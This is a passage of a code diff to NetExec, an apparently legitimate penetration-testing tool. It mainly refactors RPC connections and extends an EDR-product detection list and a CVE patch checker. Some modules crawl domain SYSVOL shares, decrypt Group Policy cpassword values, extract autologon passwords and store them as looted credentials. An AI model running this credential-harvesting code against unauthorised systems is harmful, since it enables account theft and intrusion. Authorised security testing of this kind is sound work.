EXCLUDED_SHARES List of share names which will not be used, seperated by comma
|
||||
EXCLUDED_SHARES List of share names which will not be used, separated by comma
|
||||
"""
|
||||
|
||||
def on_login(self, context: Context, connection):
|
||||
|
||||
+22
-91
@@ -3,11 +3,11 @@
|
||||
# Module by @mpgn_x64
|
||||
# https://twitter.com/mpgn_x64
|
||||
|
||||
from impacket.dcerpc.v5 import lsat, lsad, transport
|
||||
from impacket.dcerpc.v5 import lsat, lsad
|
||||
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
import pathlib
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -45,20 +45,8 @@ class NXCModule:
|
||||
results = {}
|
||||
|
||||
try:
|
||||
lsa = LsaLookupNames(
|
||||
domain=connection.domain,
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
remote_name=target,
|
||||
do_kerberos=connection.kerberos,
|
||||
remoteHost=connection.host,
|
||||
kdcHost=connection.kdcHost,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey
|
||||
)
|
||||
|
||||
dce, _ = lsa.connect()
|
||||
lsa = LsaLookupNames(connection=connection)
|
||||
dce = lsa.connect()
|
||||
policyHandle = lsa.open_policy(dce)
|
||||
for product in conf["products"]:
|
||||
for service in product["services"]:
|
||||
@@ -103,82 +91,11 @@ class NXCModule:
|
||||
|
||||
|
||||
class LsaLookupNames:
|
||||
timeout = None
|
||||
authn_level = None
|
||||
protocol = None
|
||||
transfer_syntax = None
|
||||
machine_account = False
|
||||
def __init__(self, connection=None):
|
||||
self.connection = connection
|
||||
|
||||
iface_uuid = lsat.MSRPC_UUID_LSAT
|
||||
authn = True
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
domain="",
|
||||
username="",
|
||||
password="",
|
||||
remote_name="",
|
||||
do_kerberos=False,
|
||||
remoteHost="",
|
||||
kdcHost="",
|
||||
lmhash="",
|
||||
nthash="",
|
||||
aesKey="",
|
||||
):
|
||||
self.domain = domain
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.remoteName = remote_name
|
||||
self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
|
||||
self.doKerberos = do_kerberos
|
||||
self.lmhash = lmhash
|
||||
self.nthash = nthash
|
||||
self.aesKey = aesKey
|
||||
self.kdcHost = kdcHost
|
||||
self.remoteHost = remoteHost
|
||||
|
||||
def connect(self, string_binding=None, iface_uuid=None):
|
||||
"""Obtains a RPC Transport and a DCE interface according to the bindings and
|
||||
transfer syntax specified.
|
||||
:return: tuple of DCE/RPC and RPC Transport objects
|
||||
:rtype: (DCERPC_v5, DCERPCTransport)
|
||||
"""
|
||||
string_binding = string_binding or self.string_binding
|
||||
if not string_binding:
|
||||
raise NotImplementedError("String binding must be defined")
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.setRemoteHost(self.remoteHost)
|
||||
|
||||
# Set timeout if defined
|
||||
if self.timeout:
|
||||
rpc_transport.set_connect_timeout(self.timeout)
|
||||
|
||||
# Authenticate if specified
|
||||
if self.authn and hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
|
||||
|
||||
if self.doKerberos:
|
||||
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
|
||||
|
||||
# Gets the DCE RPC object
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
|
||||
if self.doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
# Connect
|
||||
dce.connect()
|
||||
|
||||
# Bind if specified
|
||||
iface_uuid = iface_uuid or self.iface_uuid
|
||||
if iface_uuid and self.transfer_syntax:
|
||||
dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax)
|
||||
elif iface_uuid:
|
||||
dce.bind(iface_uuid)
|
||||
|
||||
return dce, rpc_transport
|
||||
def connect(self):
|
||||
return NXCRPCConnection(self.connection).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
|
||||
|
||||
def open_policy(self, dce):
|
||||
request = lsad.LsarOpenPolicy2()
|
||||
@@ -287,6 +204,13 @@ conf = {
|
||||
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Cynet",
|
||||
"services": [
|
||||
{"name": "CynetLauncher", "description": "CynetLauncher"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Elastic EDR",
|
||||
"services": [
|
||||
@@ -500,6 +424,13 @@ conf = {
|
||||
{"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Wazuh",
|
||||
"services": [
|
||||
{"name": "WazuhSvc", "description": "Wazuh Windows Agent"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Windows Defender",
|
||||
"services": [
|
||||
|
||||
+16
-1
@@ -7,6 +7,8 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket import uuid
|
||||
import requests
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
import contextlib
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -68,8 +70,18 @@ class NXCModule:
|
||||
else:
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
dce = None
|
||||
try:
|
||||
entries = self.__fetchList(connection.kerberos, rpctransport)
|
||||
if int(self.__port) == 135:
|
||||
rpc = NXCRPCConnection(connection, force_tcp=True)
|
||||
rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
|
||||
dce = rpc.rpc_transport.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
entries = list(epm.hept_lookup(None, dce=dce))
|
||||
else:
|
||||
entries = self.__fetchList(connection.kerberos, rpctransport)
|
||||
except Exception as e:
|
||||
error_text = f"Protocol failed: {e}"
|
||||
context.log.fail(error_text)
|
||||
@@ -81,6 +93,9 @@ class NXCModule:
|
||||
context.log.fail("This usually means the target does not allow "
|
||||
"to connect to its epmapper using RpcProxy.")
|
||||
return
|
||||
finally:
|
||||
with contextlib.suppress(Exception):
|
||||
dce.disconnect()
|
||||
|
||||
for entry in entries:
|
||||
tmpUUID = str(entry["tower"]["Floors"][0])
|
||||
|
||||
+56
-19
@@ -1,7 +1,8 @@
|
||||
from impacket.dcerpc.v5 import transport, rrp
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.smbconnection import SessionError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from impacket.nmb import NetBIOSError
|
||||
|
||||
|
||||
@@ -32,6 +33,9 @@ class NXCModule:
|
||||
- CVE-2025-58726 (Ghost SPN)
|
||||
- CVE-2025-54918 (NTLM MIC Bypass)
|
||||
- CVE-2025-53779 (BadSuccessor)
|
||||
- CVE-2024-49019 (EKUwu / ESC15)
|
||||
- CVE-2026-54121 (Certighost)
|
||||
- CVE-2026-27912 (ResetNightmare)
|
||||
|
||||
CVE Filter for specific CVE number (default: All)
|
||||
EXPLOITATION Also provide sources for exploitation details (default: False)
|
||||
@@ -54,19 +58,9 @@ class NXCModule:
|
||||
def on_login(self, context, connection):
|
||||
connection.trigger_winreg()
|
||||
|
||||
# Connect to RemoteRegistry to read UBR from registry
|
||||
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
|
||||
rpc.set_smb_connection(connection.conn)
|
||||
if connection.kerberos:
|
||||
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
dce = rpc.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
# Query the UBR
|
||||
try:
|
||||
dce.connect()
|
||||
dce.bind(rrp.MSRPC_UUID_RRP)
|
||||
# Connect to RemoteRegistry to read UBR from registry
|
||||
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
|
||||
# Reading UBR from registry
|
||||
hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
|
||||
hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"]
|
||||
@@ -112,10 +106,6 @@ class NXCModule:
|
||||
"CVE-2025-33073": {
|
||||
"alias": "NTLM reflection",
|
||||
"patches": {
|
||||
(6, 0, 6003): 23351, # Windows Server 2008 SP2
|
||||
(6, 1, 7601): 27769, # Windows Server 2008 R2 SP1
|
||||
(6, 2, 9200): 25522, # Windows Server 2012
|
||||
(6, 3, 9600): 22620, # Windows Server 2012 R2
|
||||
(10, 0, 10240): 21034, # Windows 10 1507
|
||||
(10, 0, 14393): 8148, # Windows Server 2016 / Win10 1607
|
||||
(10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809
|
||||
@@ -183,5 +173,52 @@ class NXCModule:
|
||||
},
|
||||
"message": "Escalation to Domain Admin possible via dMSA Kerberos abuse",
|
||||
"exploitation": "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory",
|
||||
}
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019
|
||||
"CVE-2024-49019": {
|
||||
"alias": "ESC15 / EKUwu",
|
||||
"patches": {
|
||||
(6, 0, 6003): 22966, # Windows Server 2008 SP2
|
||||
(6, 1, 7601): 27415, # Windows Server 2008 R2 SP1
|
||||
(6, 2, 9200): 25165, # Windows Server 2012
|
||||
(6, 3, 9600): 22267, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 7515, # Windows Server 2016
|
||||
(10, 0, 17763): 6532, # Windows Server 2019 / Win10 1809
|
||||
(10, 0, 20348): 2849, # Windows Server 2022
|
||||
(10, 0, 25398): 1251, # Windows Server 2022 23H2
|
||||
(10, 0, 26100): 2314, # Windows Server 2025 / Win11 24H2
|
||||
},
|
||||
"message": "If host is an AD CS / CA server, it may be vulnerable to ESC15",
|
||||
"exploitation": "https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121
|
||||
"CVE-2026-54121": {
|
||||
"alias": "Certighost",
|
||||
"patches": {
|
||||
(6, 2, 9200): 26226, # Windows Server 2012
|
||||
(6, 3, 9600): 23291, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 9339, # Windows Server 2016
|
||||
(10, 0, 17763): 9020, # Windows Server 2019
|
||||
(10, 0, 20348): 5386, # Windows Server 2022
|
||||
(10, 0, 26100): 33158, # Windows Server 2025
|
||||
},
|
||||
"message": "If host is an AD CS / CA server, it may be vulnerable to Certighost",
|
||||
"exploitation": "https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912
|
||||
"CVE-2026-27912": {
|
||||
"alias": "ResetNightmare",
|
||||
"dc_only": True,
|
||||
"patches": {
|
||||
(6, 2, 9200): 26026, # Windows Server 2012
|
||||
(6, 3, 9600): 23132, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 9060, # Windows Server 2016
|
||||
(10, 0, 17763): 8644, # Windows Server 2019
|
||||
(10, 0, 20348): 5020, # Windows Server 2022
|
||||
(10, 0, 25398): 2274, # Windows Server 2022 23H2
|
||||
(10, 0, 26100): 32690, # Windows Server 2025
|
||||
},
|
||||
"message": "Password reset of any account possible via Kerberos change password abuse",
|
||||
"exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/",
|
||||
},
|
||||
}
|
||||
@@ -32,7 +32,7 @@ class NXCModule:
|
||||
|
||||
if connection.admin_privs:
|
||||
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
|
||||
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
|
||||
srvs = [srv for srv in res if srv["Local Login"] is not None]
|
||||
if not srvs:
|
||||
self.context.log.fail("No linked servers found.")
|
||||
return
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5 import transport, even6
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dcerpc.v5 import even6
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dcerpc.v5.epm import hept_map
|
||||
from nxc.helpers.even6_parser import ResultSet
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -110,18 +111,7 @@ class NXCModule:
|
||||
else:
|
||||
msevenclass = MSEven6Trigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
msevenclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
pipe="eventlog"
|
||||
)
|
||||
msevenclass.connect(connection, target)
|
||||
for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
|
||||
if record is None:
|
||||
continue
|
||||
@@ -142,37 +132,21 @@ class MSEven6Trigger:
|
||||
self.context = context
|
||||
self.dce = None
|
||||
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
||||
rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp"))
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
rpctransport.setRemoteHost(target)
|
||||
self.dce = rpctransport.get_dce_rpc()
|
||||
if doKerberos:
|
||||
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
def connect(self, connection, target):
|
||||
binding = hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp")
|
||||
self.context.log.debug(f"Connecting to {target}...")
|
||||
try:
|
||||
self.dce.connect()
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return
|
||||
try:
|
||||
self.dce.bind(even6.MSRPC_UUID_EVEN6)
|
||||
self.dce = NXCRPCConnection(connection).connect(
|
||||
None,
|
||||
even6.MSRPC_UUID_EVEN6,
|
||||
target_ip=target,
|
||||
string_binding=binding,
|
||||
auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
)
|
||||
self.context.log.debug("[+] Successfully bound!")
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return
|
||||
self.context.log.debug("[+] Successfully bound!")
|
||||
|
||||
def query(self, path, query, limit):
|
||||
req = even6.EvtRpcRegisterLogQuery()
|
||||
|
||||
@@ -22,6 +22,7 @@ class NXCModule:
|
||||
Module options get parsed here. Additionally, put the modules usage here as well
|
||||
"""
|
||||
# Put "No options available" in the docstring if there are no options for the module
|
||||
# Return False to abort the run if options are invalid (log with context.log.fail first).
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""Concurrent.
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
from dploot.lib.target import Target
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
|
||||
|
||||
class NXCModule:
|
||||
|
||||
@@ -63,7 +63,7 @@ class NXCModule:
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
|
||||
context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
|
||||
|
||||
def filter_answer(self, context, answers):
|
||||
# No option to filter
|
||||
|
||||
@@ -7,23 +7,12 @@ from datetime import datetime
|
||||
from struct import unpack
|
||||
|
||||
from impacket.structure import Structure
|
||||
from ldap3 import LEVEL
|
||||
from os.path import expanduser
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
def get_dns_zones(connection, root, debug=False):
|
||||
connection.search(root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"])
|
||||
zones = []
|
||||
for entry in connection.response:
|
||||
if entry["type"] != "searchResEntry":
|
||||
continue
|
||||
zones.append(entry["attributes"]["dc"])
|
||||
return zones
|
||||
|
||||
|
||||
def ldap2domain(baseDN):
|
||||
return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
|
||||
|
||||
|
||||
@@ -15,45 +15,40 @@ class NXCModule:
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
"""No options available."""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share["name"] == "SYSVOL" and "READ" in share["access"]:
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for Registry.xml")
|
||||
context.log.display("Searching SYSVOL share for Registry.xml")
|
||||
|
||||
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
|
||||
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
if xml.findall('.//Properties[@name="DefaultPassword"]'):
|
||||
usernames = []
|
||||
passwords = []
|
||||
domains = []
|
||||
|
||||
if xml.findall('.//Properties[@name="DefaultPassword"]'):
|
||||
usernames = []
|
||||
passwords = []
|
||||
domains = []
|
||||
xml_section = xml.findall(".//Properties")
|
||||
|
||||
xml_section = xml.findall(".//Properties")
|
||||
for section in xml_section:
|
||||
attrs = section.attrib
|
||||
|
||||
for section in xml_section:
|
||||
attrs = section.attrib
|
||||
if attrs["name"] == "DefaultPassword":
|
||||
passwords.append(attrs["value"])
|
||||
|
||||
if attrs["name"] == "DefaultPassword":
|
||||
passwords.append(attrs["value"])
|
||||
if attrs["name"] == "DefaultUserName":
|
||||
usernames.append(attrs["value"])
|
||||
|
||||
if attrs["name"] == "DefaultUserName":
|
||||
usernames.append(attrs["value"])
|
||||
if attrs["name"] == "DefaultDomainName":
|
||||
domains.append(attrs["value"])
|
||||
|
||||
if attrs["name"] == "DefaultDomainName":
|
||||
domains.append(attrs["value"])
|
||||
|
||||
if usernames or passwords:
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Usernames: {usernames}")
|
||||
context.log.highlight(f"Domains: {domains}")
|
||||
context.log.highlight(f"Passwords: {passwords}")
|
||||
if usernames or passwords:
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Usernames: {usernames}")
|
||||
context.log.highlight(f"Domains: {domains}")
|
||||
context.log.highlight(f"Passwords: {passwords}")
|
||||
+57
-62
@@ -21,82 +21,77 @@ class NXCModule:
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share["name"].lower() == "sysvol" and "READ" in share["access"]:
|
||||
sysvol = share["name"]
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for potential XML files containing passwords")
|
||||
context.log.display("Searching SYSVOL share for potential XML files containing passwords")
|
||||
|
||||
paths = connection.spider(
|
||||
sysvol,
|
||||
pattern=[
|
||||
"Groups.xml",
|
||||
"Services.xml",
|
||||
"Scheduledtasks.xml",
|
||||
"DataSources.xml",
|
||||
"Printers.xml",
|
||||
"Drives.xml",
|
||||
],
|
||||
)
|
||||
paths = connection.spider(
|
||||
"SYSVOL",
|
||||
pattern=[
|
||||
"Groups.xml",
|
||||
"Services.xml",
|
||||
"Scheduledtasks.xml",
|
||||
"DataSources.xml",
|
||||
"Printers.xml",
|
||||
"Drives.xml",
|
||||
],
|
||||
)
|
||||
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile(sysvol, path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
sections = []
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
sections = []
|
||||
|
||||
if "Groups.xml" in path:
|
||||
sections.append("./User/Properties")
|
||||
if "Groups.xml" in path:
|
||||
sections.append("./User/Properties")
|
||||
|
||||
elif "Services.xml" in path:
|
||||
sections.append("./NTService/Properties")
|
||||
elif "Services.xml" in path:
|
||||
sections.append("./NTService/Properties")
|
||||
|
||||
elif "ScheduledTasks.xml" in path:
|
||||
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
|
||||
elif "ScheduledTasks.xml" in path:
|
||||
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
|
||||
|
||||
elif "DataSources.xml" in path:
|
||||
sections.append("./DataSource/Properties")
|
||||
elif "DataSources.xml" in path:
|
||||
sections.append("./DataSource/Properties")
|
||||
|
||||
elif "Printers.xml" in path:
|
||||
sections.append("./SharedPrinter/Properties")
|
||||
elif "Printers.xml" in path:
|
||||
sections.append("./SharedPrinter/Properties")
|
||||
|
||||
elif "Drives.xml" in path:
|
||||
sections.append("./Drive/Properties")
|
||||
elif "Drives.xml" in path:
|
||||
sections.append("./Drive/Properties")
|
||||
|
||||
for section in sections:
|
||||
xml_section = xml.findall(section)
|
||||
for attr in xml_section:
|
||||
props = attr.attrib
|
||||
for section in sections:
|
||||
xml_section = xml.findall(section)
|
||||
for attr in xml_section:
|
||||
props = attr.attrib
|
||||
|
||||
if "cpassword" in props:
|
||||
for user_tag in [
|
||||
"userName",
|
||||
"accountName",
|
||||
"runAs",
|
||||
"username",
|
||||
]:
|
||||
if user_tag in props:
|
||||
username = props[user_tag]
|
||||
if "cpassword" in props:
|
||||
for user_tag in [
|
||||
"userName",
|
||||
"accountName",
|
||||
"runAs",
|
||||
"username",
|
||||
]:
|
||||
if user_tag in props:
|
||||
username = props[user_tag]
|
||||
|
||||
password = self.decrypt_cpassword(props["cpassword"])
|
||||
password = self.decrypt_cpassword(props["cpassword"])
|
||||
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Password: {password}")
|
||||
for k, v in props.items():
|
||||
if k != "cpassword":
|
||||
context.log.highlight(f"{k}: {v}")
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Password: {password}")
|
||||
for k, v in props.items():
|
||||
if k != "cpassword":
|
||||
context.log.highlight(f"{k}: {v}")
|
||||
|
||||
hostid = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
|
||||
"plaintext",
|
||||
"",
|
||||
username,
|
||||
password,
|
||||
pillaged_from=hostid,
|
||||
)
|
||||
hostid = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
|
||||
"plaintext",
|
||||
"",
|
||||
username,
|
||||
password,
|
||||
pillaged_from=hostid,
|
||||
)
|
||||
|
||||
def decrypt_cpassword(self, cpassword):
|
||||
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
import ssl
|
||||
import ldap3
|
||||
import re
|
||||
from io import BytesIO
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -98,24 +99,25 @@ class NXCModule:
|
||||
self.no_ldap = module_options.get("NO_LDAP", False)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
try:
|
||||
connection.conn.listPath("SYSVOL", "*")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to list shares: {e}")
|
||||
self.context.log.fail(f"Failed to list shares: {e}")
|
||||
return
|
||||
|
||||
context.log.display("Searching for GptTmpl.inf files")
|
||||
self.context.log.display("Searching for GptTmpl.inf files")
|
||||
paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
|
||||
|
||||
if not paths:
|
||||
context.log.warning("No GptTmpl.inf files found in SYSVOL.")
|
||||
self.context.log.warning("No GptTmpl.inf files found in SYSVOL.")
|
||||
return
|
||||
|
||||
for path in paths:
|
||||
if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy
|
||||
context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
|
||||
self.context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
|
||||
else:
|
||||
context.log.info(f"Found GptTmpl.inf: {path}")
|
||||
self.context.log.info(f"Found GptTmpl.inf: {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
@@ -123,22 +125,32 @@ class NXCModule:
|
||||
try:
|
||||
content = buf.getvalue().decode("utf-16le")
|
||||
except UnicodeDecodeError as e:
|
||||
context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
|
||||
self.context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
|
||||
continue
|
||||
|
||||
privileges = self.extract_privileges(content)
|
||||
if privileges:
|
||||
ldap_connection = None
|
||||
base_dn = None
|
||||
if not self.no_ldap:
|
||||
ldap_connection = self.initialize_ldap_connection(context, connection)
|
||||
ldap_connection = self.initialize_ldap_connection(connection)
|
||||
base_dn = self.get_basedn(ldap_connection)
|
||||
|
||||
context.log.success(f"Privileges extracted from {path}:")
|
||||
self.context.log.success(f"Privileges extracted from {path}:")
|
||||
for privilege, sids in privileges.items():
|
||||
resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids]
|
||||
context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
|
||||
resolved_sids = [self.resolve_sid(sid, ldap_connection, base_dn) for sid in sids]
|
||||
self.context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
|
||||
|
||||
if ldap_connection:
|
||||
ldap_connection.unbind()
|
||||
ldap_connection.close()
|
||||
|
||||
def get_basedn(self, ldap_connection):
|
||||
root = ldap_connection.search(
|
||||
scope=ldapasn1_impacket.Scope("baseObject"),
|
||||
attributes=["defaultNamingContext"],
|
||||
sizeLimit=0,
|
||||
)
|
||||
return parse_result_attributes(root)[0]["defaultNamingContext"]
|
||||
|
||||
def extract_privileges(self, content):
|
||||
"""Parses the content of GptTmpl.inf to extract privilege rights."""
|
||||
@@ -159,101 +171,64 @@ class NXCModule:
|
||||
|
||||
return privileges
|
||||
|
||||
def initialize_ldap_connection(self, context, connection):
|
||||
def initialize_ldap_connection(self, connection):
|
||||
"""
|
||||
Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
|
||||
Initializes an LDAP connection using impacket with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
|
||||
Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
|
||||
"""
|
||||
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
|
||||
base_dn = None
|
||||
|
||||
ldap_connection = None
|
||||
try:
|
||||
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL)
|
||||
